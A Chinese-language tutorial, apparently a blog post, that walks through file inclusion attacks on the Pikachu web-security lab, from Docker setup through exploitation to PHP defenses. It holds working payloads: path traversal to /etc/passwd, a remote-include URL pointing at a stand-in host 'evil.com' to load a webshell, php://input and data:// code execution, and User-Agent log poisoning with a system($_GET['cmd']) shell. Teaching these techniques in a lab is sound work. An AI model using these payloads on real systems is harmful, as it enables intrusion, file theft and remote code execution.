Pikachu靶场文件包含漏洞实战:从原理到利用与防御

1. 项目概述:为什么我们需要一个“保姆级”的文件包含漏洞教程?

如果你正在学习网络安全,尤其是Web安全渗透测试,那么“Pikachu靶场”这个名字你一定不陌生。它就像我们学编程时的“Hello World”项目,是无数安全爱好者入门实战的第一站。今天我们要啃下的硬骨头,是其中非常经典且危险的一个漏洞类型—— File Inclusion ,也就是文件包含漏洞。我见过太多新手朋友,在接触这个概念时,被各种“本地包含”、“远程包含”、“目录穿越”搞得晕头转向,配置环境就卡住半天,更别提深入理解利用了。所以,这篇“保姆级”教程的目的,就是帮你把这条路彻底铺平,从靶场搭建、漏洞原理、手动利用到工具辅助,一步步带你走通,让你不仅“做出来”,更能“想明白”。

简单来说,文件包含漏洞允许攻击者将服务器上的非预期文件(如系统配置文件、日志文件,甚至远程服务器上的脚本)包含到Web应用程序的执行流程中。这常常是由于应用程序在动态包含文件时,未对用户输入进行严格过滤导致的。在Pikachu靶场中,它精心设计了多个关卡,来模拟真实世界中这种漏洞的不同形态。通过亲手攻破它们,你能最直观地理解开发中的哪些疏忽会打开这扇危险的大门,以及作为防御方又该如何堵上它。无论你是刚拿起Burp Suite的新手,还是想巩固Web安全知识体系的进阶者,这个靶场都是一个绝佳的练手场。接下来,我们就从零开始,把这套“组合拳”打明白。

2. 靶场环境搭建与配置详解

工欲善其事,必先利其器。在开始“攻击”之前,我们得先把“战场”——Pikachu靶场搭建起来。虽然官方和网络上有多种部署方式,但我强烈推荐使用 Docker 进行一键化部署,这能最大程度避免因操作系统、PHP版本、扩展配置差异带来的各种灵异问题,让你专注于漏洞本身。

2.1 为什么选择Docker部署?

传统部署需要你手动安装Web服务器(如Apache/Nginx)、PHP及特定扩展,并配置数据库,过程繁琐且易出错。Docker则通过容器技术,将Pikachu靶场及其所需的所有运行环境(PHP版本、Apache、MySQL、必要的PHP扩展)打包成一个独立的、可移植的镜像。你只需要执行几条命令,一个完整、纯净、一致的实验环境就准备好了。这保证了教程的每一步在你本地复现时,结果都和我演示的完全一致,排除了环境干扰这个最大的学习障碍。

2.2 一步一步搭建你的专属靶场

假设你的电脑上已经安装了Docker和Docker Compose(如果没有,请先搜索“Docker Desktop安装”完成这一步,这是现代开发者的必备技能)。我们采用最简洁高效的方式:

  1. 获取靶场镜像 :打开你的终端(Windows用PowerShell或CMD,Mac/Linux用Terminal)。我们直接使用社区维护的Pikachu Docker镜像。执行以下命令拉取镜像:

    docker pull area39/pikachu
    

    这个镜像通常集成了所有必需组件,无需额外配置。

  2. 运行靶场容器 :镜像拉取完成后,使用一条命令启动它:

    docker run -d -p 8080:80 --name pikachu area39/pikachu
    

    让我解释一下这条命令的参数,理解了它们,你以后部署任何Docker应用都会得心应手:

    • -d :让容器在后台运行。
    • -p 8080:80 :进行端口映射。将容器内部的80端口(Web服务默认端口)映射到你宿主机的8080端口。这意味着你在浏览器访问 http://localhost:8080 就能看到靶场。
    • --name pikachu :给这个容器起个名字,方便后续管理,比如停止、重启。
    • area39/pikachu :指定我们刚才拉取的镜像名。
  3. 访问与初始化 :打开浏览器,输入 http://localhost:8080 。你应该能看到Pikachu的欢迎页面。首次访问可能需要初始化数据库,页面上通常会有明确的提示链接,点击并按指引操作即可,整个过程是全自动的。

注意 :如果你的8080端口已被其他程序占用,启动时会报错。你可以将命令中的 -p 8080:80 改为 -p 8081:80 或任何其他空闲端口。

2.3 环境验证与常见踩坑点

访问成功后,建议先花几分钟浏览一下Pikachu靶场的各个模块,特别是“File Inclusion”所在的位置。这能确保环境完全正常。

我踩过的坑/给你的心得

  • 端口冲突 :这是最常见的问题。除了换端口,你还可以用 netstat -ano | findstr :8080 (Windows)或 lsof -i:8080 (Mac/Linux)查看哪个进程占用了端口,并决定是否关闭它。
  • 数据库连接失败 :如果初始化数据库后页面仍报数据库连接错误,可能是容器内的MySQL服务启动稍慢。可以尝试重启容器: docker restart pikachu ,等待十几秒再刷新页面。
  • Docker镜像拉取慢 :由于网络原因,拉取镜像可能很慢。可以为Docker配置国内镜像加速器,具体方法请搜索“Docker国内镜像加速”。
  • 文件权限问题(非Docker部署时) :如果你坚持手动部署,那么靶场目录的文件权限(尤其是写入权限)和PHP配置文件( php.ini )中的 allow_url_fopen allow_url_include 等设置将是噩梦之源。这也是我强烈推荐Docker的原因——它帮你屏蔽了所有这些底层细节。

至此,你的黑客实验室已经准备就绪。接下来,我们深入核心,剖析文件包含漏洞的原理。

3. 文件包含漏洞核心原理深度剖析

知其然,更要知其所以然。文件包含漏洞之所以危险,根源在于PHP等服务器端脚本语言提供的“文件包含”功能被滥用。让我们暂时抛开“攻击”,先从“功能”的角度理解它。

3.1 什么是正常的文件包含?

在Web开发中,为了提高代码的复用性和可维护性,开发者经常会把一些公共代码(比如数据库连接函数、头部导航栏、尾部版权信息)写入单独的文件(如 header.php config.inc.php )。然后在不同的页面中,通过包含语句来引入这些文件。在PHP中,主要有四个包含函数:

  • include() :包含并运行指定文件。如果包含失败(文件不存在),会发出警告(E_WARNING),但脚本会继续执行。
  • require() :包含并运行指定文件。如果包含失败,会引发致命错误(E_COMPILE_ERROR),脚本终止。
  • include_once() / require_once() :功能同上,但会检查该文件是否已被包含过,避免重复包含导致的函数重定义等问题。

一个正常的用法看起来是这样的:

// 在页面顶部包含数据库配置文件
require(‘config/database.php’);
// 在页面主体包含内容模板
include(‘templates/content_’ . $pageName . ‘.php’);

这里的关键在于,包含文件的 路径 ‘config/database.php’ )或 文件名的一部分 $pageName )在理想情况下应该是开发者完全可控的,或者经过严格校验的。

3.2 漏洞是如何产生的?

漏洞产生的核心就一句话: 将用户可控的输入,未经任何过滤或过滤不严,直接拼接到了包含文件的路径参数中。

让我们来看一个Pikachu靶场中的简化版漏洞代码(原理相同):

// file: include.php
$file = $_GET[‘filename’]; // 直接获取用户输入的filename参数
include($file);

当用户访问 http://target.com/include.php?filename=hello.php 时,服务器会包含并执行 hello.php 。这看起来没问题。但如果攻击者构造这样的请求呢?

http://target.com/include.php?filename=/etc/passwd

如果服务器是Linux系统,且Web进程有读取权限,那么服务器将尝试包含系统密码文件 /etc/passwd 。由于该文件不是有效的PHP代码, include() 函数会将其内容直接输出到页面上,导致敏感信息泄露。这就完成了最基本的 本地文件包含(Local File Inclusion, LFI)

更深一层 :如果PHP配置项 allow_url_include 被设置为 On (默认是 Off ),攻击者甚至可以包含一个远程服务器上的文件:

http://target.com/include.php?filename=http://evil.com/shell.txt

此时,服务器会去请求 http://evil.com/shell.txt ,并将其内容作为PHP代码执行。如果 shell.txt 里是一段PHP后门代码,那么攻击者就相当于在目标服务器上远程植入了一个Webshell。这就是危害性更大的 远程文件包含(Remote File Inclusion, RFI)

3.3 漏洞的几种常见利用方式

理解了核心,我们来看看攻击者常用的“武器库”:

  1. 敏感信息读取 :利用LFI读取服务器上的敏感文件。

    • /etc/passwd :Linux系统用户列表。
    • /etc/shadow :Linux用户密码哈希(需要更高权限)。
    • C:\Windows\System32\drivers\etc\hosts :Windows主机文件。
    • …/…/…/…/…/…/…/…/…/var/log/apache2/access.log :Web服务器日志。
    • PHP Session文件(如 /tmp/sess_[sessionid] )、数据库配置文件( config.inc.php )、源代码文件( .php 文件可能被直接显示源码,如果服务器配置不当)。
  2. 日志文件注入 :这是一种非常经典的LFI到代码执行的技巧。Web服务器(如Apache)的访问日志会记录每一条请求,包括User-Agent头。攻击者可以故意发送一个请求,将PHP代码作为User-Agent的值。这样,这段代码就被写入到了 access.log 文件中。然后,再利用LFI漏洞去包含这个日志文件。由于日志文件被当作PHP代码解析,其中的恶意代码就被执行了。

  3. 利用PHP封装协议 :PHP提供了一系列“封装协议”,可以像访问普通文件一样访问各种输入/输出流。这在文件包含漏洞中用途极大:

    • php://filter :用于读取文件源码。例如 php://filter/read=convert.base64-encode/resource=index.php 可以以Base64编码的形式读取 index.php 的源代码,避免其被直接执行。
    • php://input :可以访问请求的原始数据(POST数据)。结合RFI或特定条件,可用于执行任意PHP代码。
    • data:// :数据流封装器,允许在URI中直接嵌入数据。例如 data://text/plain,<?php phpinfo();?> 可以直接执行 phpinfo()
  4. 目录遍历(Path Traversal) :利用 …/ 这样的序列来向上跳转目录,访问预期目录之外的文件。这是LFI的常见伴随技术。

原理部分就讲到这里,脑子里有了这些概念和攻击画面,我们接下来进入Pikachu靶场,进行真枪实弹的操作。

4. Pikachu File Inclusion关卡实战通关

Pikachu靶场的“File Inclusion”模块通常分为几个子关卡,由易到难,层层递进。我们逐一攻破,并详细记录每一步的思考和操作。

4.1 第一关:本地文件包含(LFI)基础

场景 :页面上可能有一个文件查看功能,或者直接有一个参数让你提交文件名。

操作与观察

  1. 点击进入Pikachu的File Inclusion模块,第一个关卡界面通常很简单,可能有一个输入框,提示你输入一个文件名,或者页面上已经有几个链接。
  2. 查看URL。你很可能看到类似 …/fileinclude.php?file=file1.php 这样的结构。这个 file 参数就是我们的突破口。
  3. 尝试基础LFI :将URL中的 file1.php 替换为 …/…/…/…/etc/passwd 。尝试不同的 …/ 数量,因为我们需要从Web根目录跳转到系统根目录。
    http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd
    
  4. 结果分析 :如果成功,你会在页面上看到Linux系统的用户列表。这说明漏洞存在,并且Web服务器进程有读取该文件的权限。如果失败,可能是路径深度不对,或者文件不存在(Windows系统),也可能有简单的过滤。

我的心得 :第一关往往是没有任何过滤的,目的是让你建立最直观的感受。在尝试时,使用Burp Suite的Repeater模块会非常方便,可以快速修改、重放请求,无需在浏览器地址栏反复修改。

4.2 第二关:带有文件后缀限制的绕过

场景 :开发者意识到了风险,对用户输入添加了后缀,比如强制加上 .php

模拟漏洞代码

$file = $_GET[‘filename’] . ‘.php’; // 自动添加.php后缀
include($file);

攻击思路 :我们的目标是包含一个非 .php 文件,比如 …/…/…/etc/passwd 。但直接提交会被变成 …/…/…/etc/passwd.php ,这个文件不存在。这里就需要用到 空字节截断 路径截断 技巧,但这两种技巧在PHP版本 >= 5.3.4 和 >= 5.4 后已被修复。Pikachu靶场为了教学,可能模拟了旧版本环境。

利用方式(针对旧PHP版本)

  • 空字节截断 :在URL中,空字节可以表示为 %00 。构造 filename=…/…/…/etc/passwd%00 。服务器获取到的 $_GET[‘filename’] …/…/…/etc/passwd\0 ,拼接上 .php 后是 …/…/…/etc/passwd\0.php 。在C语言风格的字符串处理中, \0 是字符串结束符,所以PHP在包含时实际上只看到了 …/…/…/etc/passwd ,从而绕过了后缀限制。
    http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd%00
    

    重要提示 :空字节截断需要PHP版本 < 5.3.4 且 magic_quotes_gpc=off 。现代PHP环境已无效,但作为知识必须了解。

现代绕过思路 :如果后缀限制无法截断,我们就要思考其他路径。例如,也许存在一个 upload 目录允许上传 .jpg 文件,我们可以上传一个包含PHP代码的图片马,然后利用LFI包含这个图片马。或者,利用之前提到的 php://filter 协议来读取源代码,它不依赖文件后缀。

4.3 第三关:远程文件包含(RFI)实战

场景 :此关卡通常需要你输入一个远程URL,并可能提示你需要开启 allow_url_include

前置条件确认 :首先,我们需要确认目标环境(Pikachu Docker镜像)是否允许RFI。创建一个简单的PHP信息文件 info.php ,内容为 <?php phpinfo();?> ,并将其放在你本地或一个可公开访问的服务器上。例如,你可以用Python快速启一个HTTP服务:在文件所在目录执行 python3 -m http.server 8000 ,这样你的 info.php 可以通过 http://你的IP:8000/info.php 访问。

攻击操作

  1. 在Pikachu的RFI关卡输入框或URL参数中,尝试包含你的远程脚本。
    http://localhost:8080/vul/fileinclude/fi_remote.php?filename=http://你的IP:8000/info.php
    
  2. 如果成功,页面会显示 phpinfo() 的信息,证明远程文件被包含并作为PHP执行了。

关键点 :RFI成功的两个必要条件:1. allow_url_include = On ;2. 目标服务器能访问到你的远程服务器(无网络隔离)。在实战中,由于安全意识的提高, allow_url_include 默认关闭的情况越来越多,因此LFI比RFI更为常见。但RFI的危害是立竿见影的,直接获得代码执行能力。

4.4 第四关:利用PHP封装协议的艺术

当直接包含和远程包含都受限时,PHP内置的封装协议是我们的“瑞士军刀”。

利用 php://filter 读取源码 : 这是最常用的技巧之一,用于读取PHP文件的源代码,而不是执行它。因为直接包含 .php 文件,服务器会执行它,我们看不到代码。通过 php://filter 的转换,我们可以将其内容以文本形式输出。

http://localhost:8080/vul/fileinclude/fi_local.php?filename=php://filter/read=convert.base64-encode/resource=fileinclude.php

这个请求会尝试包含 fileinclude.php 这个文件本身,但通过 convert.base64-encode 过滤器,文件内容在被 include() 函数读取时,会先进行Base64编码。由于编码后的内容不是有效的PHP代码,所以不会被执行,而是以文本形式打印在页面上。你将看到一串Base64字符串,将其解码即可得到 fileinclude.php 的源代码,从而可以分析其过滤逻辑,寻找新的突破口。

利用 php://input 执行代码 : 这个协议需要 allow_url_include 开启,且 enctype 需要配合。它允许你将POST请求的Body部分作为PHP代码执行。

  1. 使用Burp Suite抓取包含漏洞页面的请求。
  2. 将请求方法改为 POST
  3. 在URL中设置 filename=php://input
  4. 在请求Body中写入你想要执行的PHP代码,例如 <?php system(‘whoami’);?>
  5. 发送请求。如果环境允许,你将看到命令 whoami 的执行结果(当前Web服务器进程的用户名)。

利用 data:// 执行代码 : 同样需要 allow_url_include 开启。它更简洁,可以直接在URL中嵌入代码。

http://localhost:8080/vul/fileinclude/fi_local.php?filename=data://text/plain,<?php phpinfo();?>
// 或者使用Base64编码避免特殊字符问题
http://localhost:8080/vul/fileinclude/fi_local.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

通过这几关的实战,你应该已经对文件包含漏洞的利用手法有了全面的认识。但在实际操作中,绝不会一帆风顺,总会遇到各种“拦路虎”。

5. 常见问题、高级技巧与防御思想

在实际测试,甚至CTF比赛中,漏洞点往往不会那么明显。下面分享一些我遇到过的典型问题和进阶技巧。

5.1 常见问题排查清单

当你按照教程操作却失败时,可以按以下顺序排查:

问题现象 可能原因 排查步骤与解决方案
包含 /etc/passwd 失败,但页面无报错或报文件不存在 1. 路径深度不对。
2. 目标系统是Windows。
3. Web进程无读取权限。
1. 尝试更多或更少的 …/ ,例如从 …/…/…/…/etc/passwd 尝试到 …/…/etc/passwd
2. 尝试Windows路径,如 …/…/…/…/windows/system32/drivers/etc/hosts
3. 尝试包含一个已知存在的Web文件,如 …/…/index.php ,确认包含功能本身是否生效。
包含 .php 后缀文件时,文件被下载而非执行 服务器未正确配置PHP解析。常见于Nginx配置错误,未将 .php 文件传递给PHP-FPM处理。 在Pikachu的Docker环境中一般不会出现。如果是自建环境,检查Nginx配置中 location ~ \.php$ 部分是否正确。
RFI失败,无法包含远程文件 1. allow_url_include Off
2. 服务器出网受限(无法访问外网)。
3. 远程URL被防火墙或安全策略拦截。
1. 创建一个 phpinfo() 页面,查看 allow_url_include allow_url_fopen 的值。
2. 尝试从服务器本地包含一个文件(如 http://127.0.0.1/info.php )来测试网络策略。
3. 检查远程文件是否可公开匿名访问,URL是否正确。
使用 %00 空字节截断无效 PHP版本 >= 5.3.4,空字节截断已被修复。 放弃空字节截断,转向其他绕过方法,如利用目录穿越+文件上传,或利用 php://filter
包含日志文件 ( access.log ) 无反应 1. 日志文件路径不对。
2. 日志文件内容过大,包含超时。
3. 日志中的PHP代码被转义或破坏。
1. 通过 phpinfo() 查找 $_SERVER[‘DOCUMENT_ROOT’] 和错误日志路径,或尝试常见路径如 /var/log/apache2/access.log , /var/log/nginx/access.log
2. 尝试在User-Agent中注入一个非常简短的PHP代码,如 <?php echo ‘test’;?>
3. 查看日志文件内容,确认注入的代码是否完整写入。

5.2 高级利用技巧:从LFI到RCE的链条

单纯的LFI读取文件危害有限,安全人员更关心如何将其升级为远程代码执行(RCE)。这里介绍两个经典链条:

  1. LFI + 日志文件注入

    • 步骤1:确定日志路径 。通过LFI读取 /etc/apache2/apache2.conf …/…/…/…/proc/self/environ (有时会暴露路径)等信息,推测或确认Web日志的绝对路径。
    • 步骤2:污染日志 。使用Burp Suite或curl,向目标网站发送一个请求,并将User-Agent头设置为PHP代码,例如: User-Agent: <?php system($_GET[‘cmd’]);?>
    • 步骤3:包含日志执行代码 。利用LFI漏洞,包含这个被污染的日志文件: filename=…/…/…/…/var/log/apache2/access.log 。如果成功,页面可能会显示日志内容。
    • 步骤4:传递参数执行命令 。在包含日志的URL后面添加 &cmd=whoami ,完整的URL类似: …?filename=…/…/…/…/var/log/apache2/access.log&cmd=whoami 。如果一切顺利,你将在页面上看到命令执行的结果。
  2. LFI + PHP Session文件包含

    • 前提 :你知道PHP Session文件的存储路径(如 /tmp/ , /var/lib/php/sessions/ )和文件名格式(通常为 sess_[你的PHPSESSID] )。
    • 步骤1:获取自己的Session ID 。通过浏览器Cookie查看 PHPSESSID 的值。
    • 步骤2:向Session中写入数据 。找到网站上某个能将数据存入 $_SESSION 的功能点(如登录、表单提交)。提交的数据中,包含你的PHP代码。
    • 步骤3:包含自己的Session文件 。利用LFI包含 …/…/…/…/tmp/sess_你的PHPSESSID 。由于Session文件中存储了你提交的数据(包含代码),该代码将被执行。

5.3 防御之道:开发者该如何避免?

作为攻击方,我们学习利用漏洞;作为防御方(开发者),我们更应知道如何修复。文件包含漏洞的防御核心在于 “对用户输入进行严格的白名单校验” “避免动态包含”

  1. 固定或白名单 :如果包含的文件是有限的几个,不要使用用户输入,而是使用一个映射表。

    // 错误示范
    $page = $_GET[‘page’];
    include(‘/pages/’ . $page . ‘.php’);
    // 正确示范
    $allowed_pages = [‘home’, ‘about’, ‘contact’];
    $page = $_GET[‘page’];
    if (in_array($page, $allowed_pages)) {
        include(‘/pages/’ . $page . ‘.php’);
    } else {
        include(‘/pages/404.php’);
    }
    
  2. 避免直接拼接路径 :使用 basename() 函数可以去除路径,只保留文件名部分,但这只能防止目录穿越,无法防止包含非预期文件。

    $file = basename($_GET[‘file’]); // 用户输入 `…/…/etc/passwd` 会被处理为 `passwd`
    include(‘./includes/’ . $file);
    

    但这仍然不安全,因为可以包含 passwd 这个文件(如果存在)。所以仍需结合白名单。

  3. 关闭危险配置 :在 php.ini 中,确保以下配置为 Off

    • allow_url_fopen = Off
    • allow_url_include = Off 这能从根本上杜绝RFI漏洞。
  4. 设置包含目录限制 :使用 open_basedir 指令将PHP可操作的文件限制在特定目录树内。

    open_basedir = /var/www/html
    
  5. 使用绝对路径而非相对路径 :在包含文件时,尽量使用基于项目根目录的绝对路径,减少因相对路径计算错误导致的问题。

通过Pikachu靶场的实战,我们不仅学会了如何攻击,更重要的是理解了漏洞产生的根源和防御的方法。这才是安全学习的完整闭环——知己知彼,方能百战不殆。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值